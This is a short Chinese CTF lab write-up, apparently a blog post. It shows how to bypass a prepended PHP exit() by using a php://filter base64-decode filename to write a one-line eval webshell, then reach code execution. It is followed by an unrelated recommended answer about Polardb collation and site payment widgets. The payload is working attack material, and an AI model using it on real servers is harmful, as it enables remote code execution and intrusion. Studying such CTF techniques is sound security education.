Polar靶场 写shell

记录一个PHP中绕过exit()写shell的方法

具体可以参考 php死亡exit()绕过 - xiaolong's blog

老规矩先看源码

<?php


highlight_file(__FILE__);

file_put_contents($_GET['filename'],"<?php exit();".$_POST['content']);

?>

代码很简单,就是向让我们写shell到一个文件里,但是文件的内容被拼接上了"<?php exit();",这就导致如果我们按常规思路写shell进去的话,执行时就会直接先执行exit()退出了,我们后面的shell代码是无法执行的。

这是我们可以用到php://filter伪协议

payload为

?filename=php://filter/convert.base64-decode/resource=shell.php

POST:content=aPD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=

//PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=是<?php eval($_POST[123]);?>一句话的base64,至于前面为什么要加个a,主要是为了让前面的<?php exit(); 满足base64编码格式

payload的整个意思就是在shell.php里写入一句话的base64加密内容,文件名利用php://filter/进行解密,这样的话,之前的<?php exit(); 就会被base64解密从而乱码,这样就不会被当成PHP代码执行了

写shell后用蚁剑连接或直接RCE即可拿到flag

  • 8
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Polardb是阿里云推出的一种云原生关系型数据库服务,支持MySQL、PostgreSQL和Oracle三种数据库引擎,但是它并不是一个独立的数据库软件,而是基于开源的数据库软件进行二次开发和优化。在Polardb中,可以通过设置字符集和校对规则来确定是否区分大小。 如果需要在Polardb中设置不区分大小,可以使用如下的步骤: 1. 登录Polardb数据库的控制台,进入实例详情页。 2. 在实例详情页中,找到“数据库连接”栏目,记录下当前的数据库端口号和连接地址(如:rm-xxxxxxx.polardb.cn-zhangjiakou.rds.aliyuncs.com:3433)。 3. 在本地安装MySQL客户端软件(如:MySQL Workbench),使用上述记录的连接地址和端口号,以及正确的用户名和密码,连接到Polardb数据库。 4. 在MySQL客户端中,执行如下命令,设置不区分大小: ``` mysql> SET collation_connection = 'utf8_general_ci'; ``` 这个命令会将当前连接的字符集和校对规则设置为“utf8_general_ci”,其中“ci”表示不区分大小。 5. 验证设置是否生效,可以通过执行如下命令,查看字符集和校对规则是否已经被修改: ``` mysql> SHOW VARIABLES LIKE 'collation%'; ``` 如果返回的结果中,包含“utf8_general_ci”这个字符串,那么表示设置已经生效。 需要注意的是,修改字符集和校对规则可能会影响到现有的数据库表和数据,因此在进行设置之前,需要做好相应的备份和风险评估。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值